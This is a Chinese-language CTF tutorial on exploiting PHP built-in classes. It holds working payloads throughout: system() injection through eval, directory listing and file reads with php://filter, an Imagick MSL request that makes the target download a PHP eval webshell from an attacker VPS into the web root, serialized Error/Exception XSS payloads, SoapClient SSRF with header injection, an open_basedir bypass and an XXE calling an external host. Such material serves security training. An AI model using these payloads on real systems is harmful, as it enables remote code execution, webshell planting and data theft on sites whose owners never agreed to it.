Php 原生类利用

关于new $a($b)

CTF赛题中,常常会出现形如echo new $a($b)这⼀类的代码,其中$a和$b是⽤户可控的,⽽最终的利用点是在echo new $a($b)这⾥

eval(“echo new $a($b);”)

这⼀类代码是最简单的,很轻松就能RCE,样例代码如下

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b);");

给a随便传⼀个原⽣类,给b传恶意命令即可:

?a=Exception&b=system('whoami')
?a=SplFileObject&b=system('whoami')

echo new $a($b)

这是在各⼤⽐赛中常考的,正因为常考,许多⼤师傅都在挖掘可被利⽤的原⽣类,⽐如:

==遍历⽬录==类:

  • DirectoryIterator

  • GlobIterator

  • FilesystemIterator

==读取⽂件==类:

  • SplFileObject(同样也能⽤作SSRF)

通常在CTF中的考法是:

  1. flag放在根⽬录下,且名字为为f13gggg这种不能被猜测的

  2. flag通常不在同⼀⾏,考察选⼿是否会⽤伪协议去读取

⽐如下⽅代码:

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

针对这样的代码,读flag的操作步骤如下:

⾸先⽤能遍历⽬录的原⽣类,⽐如DirectoryIterator结合glob读⽂件名

?a=DirectoryIterator&b=glob://f*

读到f1ag.php,由于DirectoryIterator返回结果是⼀个迭代器,所以通常直接⽤echo打印出来的是第⼀

项,所以需要结合glob协议通配符的特性去⼀点点把flag⽂件名匹配出来

然后⽤SplFileObject去读⽂件

?a=SplFileObject&b=f1ag.php

看到下⽅的结果,就只读了⽂件的第⼀⾏

image-20230524221616805

因此需要使⽤伪协议将其读出来:

?a=SplFileObject&b=php://filter/convert.base64-encode/resource=f1ag.php

new $a($b)

那么问题来了,如果没有echo呢?虽然代码会执⾏,但是我们拿不到结果,并且echo new $a($b);其实

也没有从根本上解决RCE这件事,⼤多CTF题都仅限于找⽂件名、读⽂件这⼀步。那假如说flag在环境变

量中呢?⼜或者说读flag需要suid提权等操作?

<?php
error_reporting(0);
show_source(__FILE__);
new $_GET['b']($_GET['c']);
?>

https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

经过测试之后存在

Imagick类

?b=Imagick&c=http://ip:7777

按照⽂中的POC,在VPS中⽣成⼀个图⽚,含有⼀句话⽊⻢

convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positiv
e.png

在VPS中监听12345端⼝,再往服务器发送请求包如下:

POST /?b=Imagick&c=vid:msl:/tmp/php* HTTP/1.1
Host: 1.1.1.1:32127
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/53
7.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeTvfNEmq
Tayg6bqr
Content-Length: 348
------WebKitFormBoundaryeTvfNEmqTayg6bqr
Content-Disposition: form-data; name="123"; filename="exec.msl"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://vps:12345/positive.png" />
<write filename="/var/www/html/positive.php"/>
</image>
------WebKitFormBoundaryeTvfNEmqTayg6bqr--

发送后,靶机就往VPS中请求了该⽂件,并且把该⽂件下载到了指定⽬录

访问后即可RCE

image-20230524222151676

以上没有讲解原理,不过还是分析⼀下这种⼿法的限制:

  1. 需要通⽹,当然如果不通⽹这种⼿法也存在⼀个重命名⽂件的功能,如果⽹站有上传功能可以利⽤

这个⼿法将恶意的JPG重命名成PHP

  1. 需要知道⽹站的⽬录(⽐赛中通常是/var/www/html或者/app这类)

  2. 需要在⽹站⽬录下有写权限,当然如果知道类似于upload这种⽂件夹的路径也可以(因为通常它们

是可写的

  1. 最最重要的:需要有装Imagick扩展,该扩展其实不是默认⾃带的(⼀定程度上限制了攻击⾯),不

过和出题⼈@M0th短暂的交流了⼀下,出题⼈表示:实际⽹站应⽤也挺多。攻击⾯这个维度还有待

考证

使用Error/Exception内置类进行XSS

Error 内置类

  • 适用于php7版本
  • 在开启报错的情况下

Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。如果有个POP链走到一半就走不通了,不如尝试利用这个来做一个xss,其实我看到的还是有好一些cms会选择直接使用 echo <Object> 的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo的时候)会触发__toString 方法,这是一种挖洞的新思路。

下面演示如何使用 Error 内置类来构造 XSS。

测试代码:

<?php $a = unserialize($_GET['whoami']);echo $a;?>

(这里可以看到是一个反序列化函数,但是没有让我们进行反序列化的类啊,这就遇到了一个反序列化但没有POP链的情况,所以只能找到PHP内置类来进行反序列化)

给出POC:

<?php $a = new Error("<script>alert('xss')</script>");$b = serialize($a);echo urlencode($b);  ?>
    //输出: O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

Exception 内置类

  • 适用于php5、7版本
  • 开启报错的情况下

测试代码:

<?php $a = unserialize($_GET['whoami']);echo $a;?>

给出POC:

<?php $a = new Exception("<script>alert('xss')</script>");$b = serialize($a);echo urlencode($b);  ?>
    //输出: O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

使用Error/Exception内置类绕过哈希比较

在上文中,我们已经认识了Error和Exception这两个PHP内置类,但对他们妙用不仅限于 XSS,还可以通过巧妙的构造绕过md5()函数和sha1()函数的比较。这里我们就要详细的说一下这个两个错误类了。

Error 类

Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。

类摘要:

Error implements Throwable {
  /* 属性 */
  protected string $message ;
  protected int $code ;
  protected string $file ;
  protected int $line ;
  /* 方法 */
  public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
  final public getMessage ( ) : string
  final public getPrevious ( ) : Throwable
  final public getCode ( ) : mixed
  final public getFile ( ) : string
  final public getLine ( ) : int
  final public getTrace ( ) : array
  final public getTraceAsString ( ) : string
  public __toString ( ) : string
  final private __clone ( ) : void
}

类属性:

  • message:错误消息内容
  • code:错误代码
  • file:抛出错误的文件名
  • line:抛出错误在该文件中的行数

类方法:

  • Error::__construct — 初始化 error 对象
  • Error::getMessage — 获取错误信息
  • Error::getPrevious — 返回先前的 Throwable
  • Error::getCode — 获取错误代码
  • Error::getFile — 获取错误发生时的文件
  • Error::getLine — 获取错误发生时的行号
  • Error::getTrace — 获取调用栈(stack trace)
  • Error::getTraceAsString — 获取字符串形式的调用栈(stack trace)
  • Error::__toString — error 的字符串表达
  • Error::__clone — 克隆 error

Exception 类

Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的。

类摘要:

Exception {
  /* 属性 */
  protected string $message ;
  protected int $code ;
  protected string $file ;
  protected int $line ;
  /* 方法 */
  public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
  final public getMessage ( ) : string
  final public getPrevious ( ) : Throwable
  final public getCode ( ) : mixed
  final public getFile ( ) : string
  final public getLine ( ) : int
  final public getTrace ( ) : array
  final public getTraceAsString ( ) : string
  public __toString ( ) : string
  final private __clone ( ) : void
}

类属性:

  • message:异常消息内容
  • code:异常代码
  • file:抛出异常的文件名
  • line:抛出异常在该文件中的行号

类方法:

  • Exception::__construct — 异常构造函数
  • Exception::getMessage — 获取异常消息内容
  • Exception::getPrevious — 返回异常链中的前一个异常
  • Exception::getCode — 获取异常代码
  • Exception::getFile — 创建异常时的程序文件名称
  • Exception::getLine — 获取创建的异常所在文件中的行号
  • Exception::getTrace — 获取异常追踪信息
  • Exception::getTraceAsString — 获取字符串类型的异常追踪信息
  • Exception::__toString — 将异常对象转换为字符串
  • Exception::__clone — 异常克隆

我们可以看到,在Error和Exception这两个PHP原生类中内只有 __toString 方法,这个方法用于将异常或错误对象转换为字符串。

我们以Error为例,我们看看当触发他的 __toString 方法时会发生什么:

<?php
$a = new Error("payload",1);
echo $a;

输出如下:

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

发现这将会以字符串的形式输出当前报错,包含当前的错误信息(“payload”)以及当前报错的行号(“2”),而传入 Error("payload",1) 中的错误代码“1”则没有输出出来。

在来看看下一个例子:

<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;

输出如下:

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

可见,$a$b 这两个错误对象本身是不同的,但是 ==__toString方法返回的结果是相同的==。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。

Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。

使用SoapClient类进行SSRF

SoapClient 类

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

类摘要如下:

SoapClient {  /* 方法 */  public __construct ( string|null $wsdl , array $options = [] )  public __call ( string $name , array $args ) : mixed  public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null  public __getCookies ( ) : array  public __getFunctions ( ) : array|null  public __getLastRequest ( ) : string|null  public __getLastRequestHeaders ( ) : string|null  public __getLastResponse ( ) : string|null  public __getLastResponseHeaders ( ) : string|null  public __getTypes ( ) : array|null  public __setCookie ( string $name , string|null $value = null ) : void  public __setLocation ( string $location = "" ) : string|null  public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool  public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed}

可以看到,该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

==SoapClient是php的一个内置类,它本身是存在CRLF和SSRF漏洞的,怎么说呢?这个类可以控制发送请求包,并且headers可控,不仅可控,还可以传入回车+换行(\r\n),那么被回车下去的请求头不就成了post数据。所以我们可以任意构造请求包,另外,当这个类被调用它没有的方法,会触发它的call,引发SSRF漏洞==

利用

知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url。

location是ssrf的利用点

<?php $a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a();   // 随便调用对象中不存在的方法, 触发__call方法进行ssrf?>

但是,由于它==仅限于HTTP/HTTPS协议==,所以用处不是很大。

实例poc

<?php
$a = new SoapClient(null,
    array(
        'user_agent' => "aaa\r\nCookie:PHPSESSID=u6ljl69tjrbutbq4i0oeb0m332",  
        'uri' => 'bbb',
        // 'location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/*f*' //首先用GlobIterator找flag的名字
        'location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=file:///f1111llllllaagg'
         
    )
);
$b = serialize($a);
echo urlencode($b);
?>

使用 DirectoryIterator 类绕过 open_basedir

DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口,该类是在 PHP 5 中增加的一个类。

DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。

测试代码:

// test.php
<?php 
    $dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
foreach($a as $f){  
    echo($f->__toString().'<br>');}
?>
    # payload一句话的形式:$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

我们输入 /?whoami=glob:///* 即可列出根目录下的文件,但是会发现只能列根目录和open_basedir指定的目录的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。

使用SimpleXMLElement类进行XXE

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。

SimpleXMLElement

通过设置第三个参数 data_is_url 为 true,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。

这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。

<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
    <!ENTITY % remote SYSTEM "http://t6n089.ceye.io">%remote;]>
]>
<x>&xee</x>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);
?>

参考:

https://mp.weixin.qq.com/s/CDNU1RgfeliURN69UZqCTA

0%